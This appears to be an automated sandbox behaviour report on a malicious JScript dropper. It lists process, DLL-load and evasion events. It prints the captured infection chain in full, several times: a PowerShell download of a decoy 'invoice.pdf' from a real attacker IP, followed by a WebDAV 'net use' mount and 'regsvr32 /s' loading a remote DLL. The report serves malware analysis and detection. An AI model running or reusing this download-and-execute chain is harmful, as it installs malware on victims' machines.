Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6783.js.csv");ITextStream.WriteLine(" entry:7930 f:iknxpo");ITextStream.WriteLine(" exec:2 f:iknxpo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4633			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5248			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 4633 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 5248 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7736	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7972	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1791928031.0000023919098000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791928031.00000239190FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3014640503.0000026101C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3015963861.0000026107258000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

